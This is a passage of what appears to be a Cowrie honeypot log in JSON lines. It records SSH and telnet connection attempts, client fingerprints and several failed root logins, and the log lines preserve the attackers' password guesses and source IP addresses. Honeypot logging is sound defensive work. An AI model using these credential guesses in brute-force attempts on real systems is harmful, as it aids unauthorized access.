af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:20.761140Z","src_ip":"122.51.73.24","session":"19814bb29222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54890,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd1dad249822","protocol":"telnet","message":"New connection: 192.119.13.58:54890 (10.17.0.5:23) [session: fd1dad249822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:21.298452Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd.2024","message":"login attempt [root/P@ssw0rd.2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:21.775508Z","src_ip":"122.51.73.24","session":"19814bb29222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":56332,"dst_ip":"159.203.135.109","dst_port":22,"session":"e000fa1c62d4","protocol":"ssh","message":"New connection: 69.6.222.198:56332 (159.203.135.109:22) [session: e000fa1c62d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:21.996382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:22.001667Z","src_ip":"69.6.222.198","session":"e000fa1c62d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:22.119253Z","src_ip":"69.6.222.198","session":"e000fa1c62d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfk","message":"login attempt [root/kfk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:22.607888Z","src_ip":"69.6.222.198","session":"e000fa1c62d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:23.028231Z","src_ip":"122.51.73.24","session":"19814bb29222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:23.733601Z","src_ip":"69.6.222.198","session":"e000fa1c62d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":40318,"dst_ip":"159.203.135.109","dst_port":22,"session":"899a08becbe6","protocol":"ssh","message":"New connection: 150.109.25.130:40318 (159.203.135.109:22) [session: 899a08becbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:29.129042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:29.133906Z","src_ip":"150.109.25.130","session":"899a08becbe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:29.373449Z","src_ip":"150.109.25.130","session":"899a08becbe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgb6yhn7ujm","message":"login attempt [root/5tgb6yhn7ujm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:30.364285Z","src_ip":"150.109.25.130","session":"899a08becbe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:31.612314Z","src_ip":"150.109.25.130","session":"899a08becbe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.10559439659119,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:35.645994Z","src_ip":"192.119.13.58","session":"81ac4fc3373a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.89750099182129,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:35.800365Z","src_ip":"192.119.13.58","session":"f8f0df7f4b9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02342104911804,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:36.799565Z","src_ip":"192.119.13.58","session":"4aeea34a8601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48714,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3bcdecdc073","protocol":"telnet","message":"New connection: 192.119.13.58:48714 (10.17.0.5:23) [session: c3bcdecdc073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:39.862444Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35932,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49ff6812134","protocol":"ssh","message":"New connection: 103.27.238.120:35932 (159.203.135.109:22) [session: e49ff6812134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:40.183285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:40.189460Z","src_ip":"103.27.238.120","session":"e49ff6812134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:40.459608Z","src_ip":"103.27.238.120","session":"e49ff6812134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":37920,"dst_ip":"159.203.135.109","dst_port":22,"session":"29813c8e94b6","protocol":"ssh","message":"New connection: 193.228.128.84:37920 (159.203.135.109:22) [session: 29813c8e94b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:40.477977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:40.483615Z","src_ip":"193.228.128.84","session":"29813c8e94b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:40.589192Z","src_ip":"193.228.128.84","session":"29813c8e94b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u8i9o","message":"login attempt [root/1q2w3e4r5t6y7u8i9o] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:40.905086Z","src_ip":"193.228.128.84","session":"29813c8e94b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.21593260765076,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:41.046665Z","src_ip":"186.195.16.41","session":"4044b5b285d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1234567890","message":"login attempt [root/q1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:41.280477Z","src_ip":"103.27.238.120","session":"e49ff6812134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.37498164176941,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:41.295118Z","src_ip":"192.119.13.58","session":"dfd55555180f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:42.015640Z","src_ip":"193.228.128.84","session":"29813c8e94b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.25010561943054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:42.452183Z","src_ip":"192.119.13.58","session":"6a2344aba70b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:42.564129Z","src_ip":"103.27.238.120","session":"e49ff6812134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0c7eb5fff7a","protocol":"telnet","message":"New connection: 192.119.13.58:38128 (10.17.0.5:23) [session: d0c7eb5fff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:44.283172Z"}
{"eventid":"cowrie.session.closed","duration":39.70120620727539,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:45.443617Z","src_ip":"192.119.13.58","session":"d793493625a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.22838807106018,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:45.640469Z","src_ip":"192.119.13.58","session":"1d9c0a80d993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45422,"dst_ip":"10.17.0.5","dst_port":23,"session":"96b8da186427","protocol":"telnet","message":"New connection: 192.119.13.58:45422 (10.17.0.5:23) [session: 96b8da186427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:46.077644Z"}
{"eventid":"cowrie.session.closed","duration":0.017559528350830078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:46.095059Z","src_ip":"192.119.13.58","session":"96b8da186427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51110,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6db5835a40","protocol":"telnet","message":"New connection: 192.119.13.58:51110 (10.17.0.5:23) [session: 4d6db5835a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:47.455351Z"}
{"eventid":"cowrie.session.closed","duration":31.387499809265137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:47.963194Z","src_ip":"192.119.13.58","session":"1922218150f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.88507628440857,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:48.473792Z","src_ip":"192.119.13.58","session":"51d06f4f8587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36032,"dst_ip":"10.17.0.5","dst_port":23,"session":"9547a6b0cce3","protocol":"telnet","message":"New connection: 192.119.13.58:36032 (10.17.0.5:23) [session: 9547a6b0cce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:50.913268Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37046,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a77099d217","protocol":"telnet","message":"New connection: 192.119.13.58:37046 (10.17.0.5:23) [session: 11a77099d217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:51.196685Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45020,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f0d1c352970","protocol":"ssh","message":"New connection: 103.98.149.87:45020 (159.203.135.109:22) [session: 3f0d1c352970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:53.767120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:53.962668Z","src_ip":"103.98.149.87","session":"3f0d1c352970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:54.130823Z","src_ip":"103.98.149.87","session":"3f0d1c352970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51028,"dst_ip":"10.17.0.5","dst_port":23,"session":"88d1e2188799","protocol":"telnet","message":"New connection: 192.119.13.58:51028 (10.17.0.5:23) [session: 88d1e2188799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:54.592357Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktyjxrf","message":"login attempt [root/ktyjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:55.247655Z","src_ip":"103.98.149.87","session":"3f0d1c352970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56750,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d38a987208f","protocol":"telnet","message":"New connection: 192.119.13.58:56750 (10.17.0.5:23) [session: 4d38a987208f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:56.101923Z"}
{"eventid":"cowrie.session.closed","duration":41.38669419288635,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:56.433006Z","src_ip":"192.119.13.58","session":"5a43636c50be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.130688190460205,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:56.457008Z","src_ip":"192.119.13.58","session":"dea057f91279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:56.517458Z","src_ip":"103.98.149.87","session":"3f0d1c352970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35556,"dst_ip":"10.17.0.5","dst_port":23,"session":"f156c794fa37","protocol":"telnet","message":"New connection: 192.119.13.58:35556 (10.17.0.5:23) [session: f156c794fa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:57.806994Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36412,"dst_ip":"10.17.0.5","dst_port":22,"session":"86fd782b652c","protocol":"ssh","message":"New connection: 193.32.162.145:36412 (10.17.0.5:22) [session: 86fd782b652c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:00.790365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:00.797757Z","src_ip":"193.32.162.145","session":"86fd782b652c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:00.903295Z","src_ip":"193.32.162.145","session":"86fd782b652c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"raydium","message":"login attempt [sol/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:01.455867Z","src_ip":"193.32.162.145","session":"86fd782b652c","protocol":"ssh"}
